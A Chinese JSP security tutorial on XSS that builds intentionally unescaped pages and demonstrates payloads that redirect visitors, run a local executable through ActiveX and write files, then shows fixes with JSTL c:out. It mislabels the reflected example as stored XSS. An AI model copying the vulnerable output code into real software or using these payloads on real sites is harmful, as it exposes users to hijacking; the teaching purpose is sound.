网络编程
位置:首页>> 网络编程>> Jsp编程>> JSP安全开发之XSS漏洞详解

JSP安全开发之XSS漏洞详解

作者:0nise  发布时间:2023-06-13 13:07:24 

标签:jsp,xss漏洞

前言

     大家好,好男人就是我,我就是好男人,我就是-0nise。在各大漏洞举报平台,我们时常会看到XSS漏洞。那么问题来了,为何会出现这种漏洞?出现这种漏洞应该怎么修复?

正文

1.XSS?XSS?XSS是什么鬼?

     XSS又叫跨站脚本攻击(Cross Site Scripting),我不会告诉他原本是叫CSS的,但是为了不和我们所用的层叠样式表(Cascading Style Sheets)CSS搞混。CSS(跨站脚本攻击),CSS(层叠样式表)傻傻分不清。所以就叫XSS咯。

2.XSS的危害是什么?

实验一:

0x00构造代码


<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'index.jsp' starting page</title>
 <meta http-equiv="pragma" content="no-cache">
 <meta http-equiv="cache-control" content="no-cache">
 <meta http-equiv="expires" content="0">
 <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
 <meta http-equiv="description" content="This is my page">
</head>
<body>
<div style="margin: 0 auto">
<%
//设置编码
  request.setCharacterEncoding("UTF-8");
//接收用户传入值
  String tmp = request.getParameter("opr");
  //减速传入值是否为空
  if(tmp == null){
    out.print("111");
  }else{
    //转码
    String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8");
    out.print(opr);
  }
%>
  我是内容
</div>
</body>
</html>

0x01环境布局

JSP安全开发之XSS漏洞详解

0x02漏洞演练

我们访问:http://localhost:8080/XSS/index.jsp?opr=i%E6%98%A5%E7%A7%8B

JSP安全开发之XSS漏洞详解

然后访问:http://localhost:8080/XSS/index.jsp?opr=0nise

JSP安全开发之XSS漏洞详解

最后我们发现了一个“伟大的规律”:

   opr参数等于什么页面就打印什么。(好像是废话)

我们接着来加载一个图片看看

访问:http://localhost:8080/XSS/index.jsp?opr=%3Cimg%20src=%221.png%22%3E%3C/img%3E

JSP安全开发之XSS漏洞详解

既然图片都可以加载,那么我们JS文件是不是也阔以加载呢?

访问:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E

JSP安全开发之XSS漏洞详解

Js?Js?那么是不是可以来改变跳转后地址?

访问:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Elocation.href=%27http://bbs.ichunqiu.com%27%3C/script%3E

JSP安全开发之XSS漏洞详解

既然xss都可以加载js,那么,我们是不是通过js来打开本地的某些东西?

JSP安全开发之XSS漏洞详解

提前放了一个MD5.exe文件

访问:http://localhost:8080/XSS/index.jsp?opr=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>

JSP安全开发之XSS漏洞详解

既然连本地文件都可以打开那么远程文件木马?来个电脑恶搞?这个自己慢慢象限。我可没说啊。。。。。

文件都可以打开,那么写一些文件呢?

访问:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d:\\test.txt%22,true);tf.WriteLine(%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22);tf.Close();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E

JSP安全开发之XSS漏洞详解

JSP安全开发之XSS漏洞详解

通过以上实验我们可以看出opr参数赋值操作。如果opr参数没有值的话,就无法执行执行,被攻击者必须访问攻击者提前设计好的才能攻击。这种XSS攻击方式叫做:存储型XSS

如果你想看到更给力的实验,请接着往下看。

实验二:

前言:

大部分网站都会和数据打交道那么,XSS漏洞出现这些网站是什么样子的?

0x00构造代码

数据库部分

JSP安全开发之XSS漏洞详解

BaseDao.java


import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class BaseDAO {
 //打开连接
 public Connection getConn(){
   Connection conn = null;
   try {
     Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
     conn = DriverManager.getConnection("jdbc:sqlserver://localhost:1433;databaseName=SQLTMP","sa","sa");
   } catch (ClassNotFoundException e) {
     e.printStackTrace();
   } catch (SQLException e) {
     e.printStackTrace();
   }

return conn;
 }

//关闭链接的方法
 public void closeAll(Connection conn,Statement stat,ResultSet rs){
   try {
     if(rs != null)
       rs.close();
     if(stat != null)
       stat.close();
     if(conn != null)
       conn.close();

} catch (SQLException e) {
     e.printStackTrace();
   }
 }
 //重载关闭方法
 public void closeAll(Connection conn,PreparedStatement pstat,ResultSet rs){
   try {
     if(rs != null)
       rs.close();
     if(pstat != null)
       pstat.close();
     if(conn != null)
       conn.close();

} catch (SQLException e) {
     e.printStackTrace();
   }
 }
 //继续重载
 public void closeAll(Connection conn,PreparedStatement pstat){
   try {
     if(pstat != null)
       pstat.close();
     if(conn != null)
       conn.close();
   } catch (SQLException e) {
     e.printStackTrace();
   }
 }
 //增删改的公用方法
 public int upDate(String sql,Object[] pram){

PreparedStatement pstat = null;
   Connection conn = null;
   int a = 0;

try {
     conn = getConn();
     pstat =conn.prepareStatement(sql);
     //遍历参数集合,将集合中的参数对应添加到sql语句中
     for (int i = 1; i <= pram.length; i++) {
       pstat.setObject(i, pram[i-1]);
     }
     //调用方法
     a = pstat.executeUpdate();

} catch (SQLException e) {
     e.printStackTrace();
   }finally{
     closeAll(conn, pstat);
   }
   return a;
 }
}

CommentDao.java


import java.sql.*;
import java.util.*;
import entity.*;
public class CommentDao extends BaseDAO {
 /**
  * 获取所有留言
  * */
 public List<comm> GetComment(){
   //SQL语句
   String sql = "SELECT CID,CName,CContext FROM Comments";
   List<comm> list = new ArrayList<comm>();
   //数据库连接对象
   Connection conn = null;
   //SQL执行对象
   PreparedStatement pstmt = null;
   //数据库执行返回值
   ResultSet rs = null;
   try {
     //创建数据库链接
     conn = this.getConn();
     //创建SQL执行对象
     pstmt = conn.prepareStatement(sql);
     //执行SQL语句  返回值
     rs = pstmt.executeQuery();
     //读取
     while (rs.next()) {
       comm comment = new comm();
       comment.setCID(rs.getInt("CID"));
       comment.setCName(rs.getString("CName"));
       comment.setCContext(rs.getString("CContext"));
       list.add(comment);
     }
   } catch (Exception e) {
     e.printStackTrace();
   }finally{
     //关闭
     this.closeAll(conn, pstmt, rs);
   }
   return list;
 }
 public int AddComment(comm comment){
   String sql = "INSERT INTO Comments VALUES(?,?)";
   //受影响行数
   int result = 0;  
   //数据库连接对象
   Connection conn = null;
   //SQL执行对象
   PreparedStatement pstmt = null;
   try {
     //创建数据库链接
     conn = this.getConn();
     //创建SQL执行对象
     pstmt = conn.prepareStatement(sql);
     //设置参数
     pstmt.setString(1, comment.getCName());
     pstmt.setString(2, comment.getCContext());
     //执行SQL语句
     result = pstmt.executeUpdate();
   } catch (Exception e) {
     e.printStackTrace();
   }finally{
     this.closeAll(conn, pstmt);
   }
   return result;
 }
}

CommentServlvet


import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import entity.*;
public class CommentServlvet extends HttpServlet {
 /**
  * doGet()
  */
 public void doGet(HttpServletRequest request, HttpServletResponse response)
     throws ServletException, IOException {
   request.setCharacterEncoding("UTF-8");
   response.setContentType("text/html;charset=UTF-8");
   PrintWriter out = response.getWriter();
   String opr = request.getParameter("opr");
   CommentDao commentDao = new CommentDao();
   //检索参数是否为空
   if(opr == null || opr.equals("all")){
     request.setAttribute("all", commentDao.GetComment());
     //转发
     request.getRequestDispatcher("comment.jsp").forward(request, response);
   }else if (opr.equals("add")){
     comm comment = new comm();
     comment.setCName(request.getParameter("UName"));
     comment.setCContext(request.getParameter("context"));
     if(commentDao.AddComment(comment) > 0){
       out.print("<script>alert('留言成功');location.href='CommentServlvet?opr=all';</script>");
     }else{
       out.print("<script>alert('留言失败');location.href='CommentServlvet?opr=all';</script>");
     }
   }else{
     request.setAttribute("all", commentDao.GetComment());
     //转发
     request.getRequestDispatcher("comment.jsp").forward(request, response);
   }
   out.flush();
   out.close();
 }

/**
  * doPost()
  */
 public void doPost(HttpServletRequest request, HttpServletResponse response)
     throws ServletException, IOException {
   doGet(request, response);
 }
}

Comment.jsp


<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'comment.jsp' starting page</title>
 <meta http-equiv="pragma" content="no-cache">
 <meta http-equiv="cache-control" content="no-cache">
 <meta http-equiv="expires" content="0">
 <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
 <meta http-equiv="description" content="This is my page">
</head>
<body>
<%
  request.setCharacterEncoding("UTF-8");
  if(request.getAttribute("all") == null){
    request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response);
  }
%>
<table>
<%
  List<entity.comm> list = (List<entity.comm>)request.getAttribute("all");
   for(int i = 0; i < list.size(); i++ ){
%>
    <tr>
    <td><%=list.get(i).getCName() %></td>
    <td><%=list.get(i).getCContext() %></td>
    </tr>
    <%
  }
%>
</table>
<form action="CommentServlvet?opr=add" method="post">
  <textarea rows="5" cols="30" name="context"></textarea>
  昵称:<input type="text" name="UName" />
  <input type="submit" value="提交" />
</form>
</body>
</html>

0x01漏洞实验

root@1~#

我们在留言板留言:

<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>

JSP安全开发之XSS漏洞详解

然后访问:http://localhost:8080/XSS/comment.jsp

JSP安全开发之XSS漏洞详解

这样只要访问这个页面,软件就自动打开了,来个远程文件?慢慢领悟。

root@2~#

我们在留言板留言:

<script>var fso,tf;fso = new ActiveXObject("Scripting.FileSystemObject");tf = fso.CreateTextFile("d:\\test.txt",true);tf.WriteLine("i春秋社区欢迎您");tf.Close();alert("文件写入成功!");</script>

JSP安全开发之XSS漏洞详解

然后访问: http://localhost:8080/XSS/comment.jsp

JSP安全开发之XSS漏洞详解

文件写入成功。

root@3~#

留言内容:

[code]<script>location.href='http://bbs.ichunqiu.com'</script>[code]

访问页面:http://localhost:8080/XSS/comment.jsp

JSP安全开发之XSS漏洞详解

访问留言页面自动跳转到攻击者特定的网站。难道这就是传说中的劫持吗?

3.XSS防御方案

正所谓哪里有攻击,哪里就有防御。XSS一样,有攻击的方式,也有防御的方案。

EL表达式+JSTL标签库

EL(Expression Language):[size=12.0000pt]为了使JSP写起来更简单。表达式语言的灵感来自于ECMAScript和XPath表达式语语言,他提供了JSP中简化表达式的方法,让jsp代码更简单。

JSTL(JSP Standard Tag Library):开放源代码的JSP标签库。

实验一防御代码:


<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'index.jsp' starting page</title>
 <meta http-equiv="pragma" content="no-cache">
 <meta http-equiv="cache-control" content="no-cache">
 <meta http-equiv="expires" content="0">
 <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
 <meta http-equiv="description" content="This is my page">
</head>
<body>
<div style="margin: 0 auto">
<%
  request.setCharacterEncoding("UTF-8");
  String tmp = request.getParameter("opr");
  //减速传入值是否为空
  if(tmp == null){
    out.print("111");
  }else{
    //转码
    String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8");
    request.setAttribute("name", opr);
    %>
    <c:out value="${requestScope.name }"></c:out>
    <%
  }
%>
  我是内容
</div>
</body>
</html>

JSP安全开发之XSS漏洞详解

实验二防御代码:


<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'comment.jsp' starting page</title>
 <meta http-equiv="pragma" content="no-cache">
 <meta http-equiv="cache-control" content="no-cache">
 <meta http-equiv="expires" content="0">
 <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
 <meta http-equiv="description" content="This is my page">
</head>
<body>
<%
  request.setCharacterEncoding("UTF-8");
  if(request.getAttribute("all") == null){
    request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response);
  }
%>
<table>
<!-- 防御XSS方案 -->
<c:forEach var="x" items="${requestScope.all }">
<tr>
  <td>
  <c:out value="${x.getCName() }"></c:out>
  </td>
  <td>
  <c:out value="${x.getCContext() }"></c:out>
  </td>
</tr>
</c:forEach>
</table>
<form action="CommentServlvet?opr=add" method="post">
  <textarea rows="5" cols="30" name="context"></textarea>
  昵称:<input type="text" name="UName" />
  <input type="submit" value="提交" />
</form>
</body>
</html>

JSP安全开发之XSS漏洞详解

结束语

        技术无黑白,专研甚好。

来源:http://bbs.ichunqiu.com/thread-10891-1-1.html

0
投稿

猜你喜欢

  • 本文介绍使用aspjpeg组件实现图片的半透明描边的效果,描边效果演示:参数说明'big 原图路径(相对)'small 生成
  • innerHTML 属性的使用非常流行,因为他提供了简单的方法完全替代一个 HTML 元素的内容。另外一个方法是使用 DOM Level 2
  • 注释:在大多数的情况下,修改MySQL是需要有mysql里的root权限的,所以一般用户无法更改密码,除非请求管理员。方法1使用phpmya
  • WebSocket的作用WebSock其实在平常使用,我们是时常见到的,用于实时通讯,例如我们常用的实时聊天、服务端向客户端消息推送、也可以
  • WebSocket 是什么?摘抄网上的一些解释:WebSocket 协议是基于 TCP 的一种新的网络协议。它实现了浏览器与服务器全双工(f
  • 通过XSL转换XML文件 最近,我喜欢上了XML编程,但又苦于它的美观程度又不够,找了许多书才搞定。用XML好是蛮好,但它还是不太适合做显示
  • 见下:<form action="./calculation.asp"><input&nbs
  • Css3引入了新的盒模型——弹性盒模型,该模型决定一个盒子在其他盒子中的分布方式以及如何处理可用的空间。这与XUL(火狐使用的用户交互语言)
  • JS代码:function showFlash(src,w,h){    html&nbs
  • 从最基础的说起。本教程中,所有IE 均指 WindowXP + IE 6.0, 所有 FF 均指 FF 1.5。不用编程部分1.1 Form
  • <!--#include file="Include/Conn.asp"--><%If(Request
  • 在这篇文章中,我将努力揭开Mobile Web开发的神秘面纱,换句话说,也就是为了移动设备上的用户体验可以被接受,代码得怎么设计。我将阐述“
  • 很多开发人员对于IIS和ASP.NET的安装等问题困扰,特此做下面的小总结,请大家多交流!iis 坏了修复办法!一般IIS运行不了ASP.N
  •  Float(浮动)概念也许是CSS中最让人迷惑的一个概念吧。Float经常被错误理解,而且因为将上下文元素全部浮动导致的可读性、
  • 我设计第一篇网页的时候,就遇到了字体的设置问题。我发现如果用软件约定的字体大小,则显示效果会很难看的。我是用FrontPage2000作网页
  • 发帖或者回帖的时候,系统会提示银两或经验增加的效果,慢慢出现又慢慢消失,用于取代对话框的那种是如何实现的?用google的jquery ap
  • event-----------------------------------------------------------------
  • 14个超酷的js显示时间效果,一定有你想要的。正常时间显示运行效果图:<title>正常显示的时钟 - asp之家 - http
  • DTD实际上可以看作一个或多个XML文件的模板,这些XML文件中的元素、元素的属性、元素的排列方式/顺序、元素能够包含的内容等,都必须符合D
  • 如何在页面中对不同的数据进行相同的处理?selectId.asp' 列出所有客户的客户名称<html><
手机版 网络编程 asp之家 www.aspxhome.com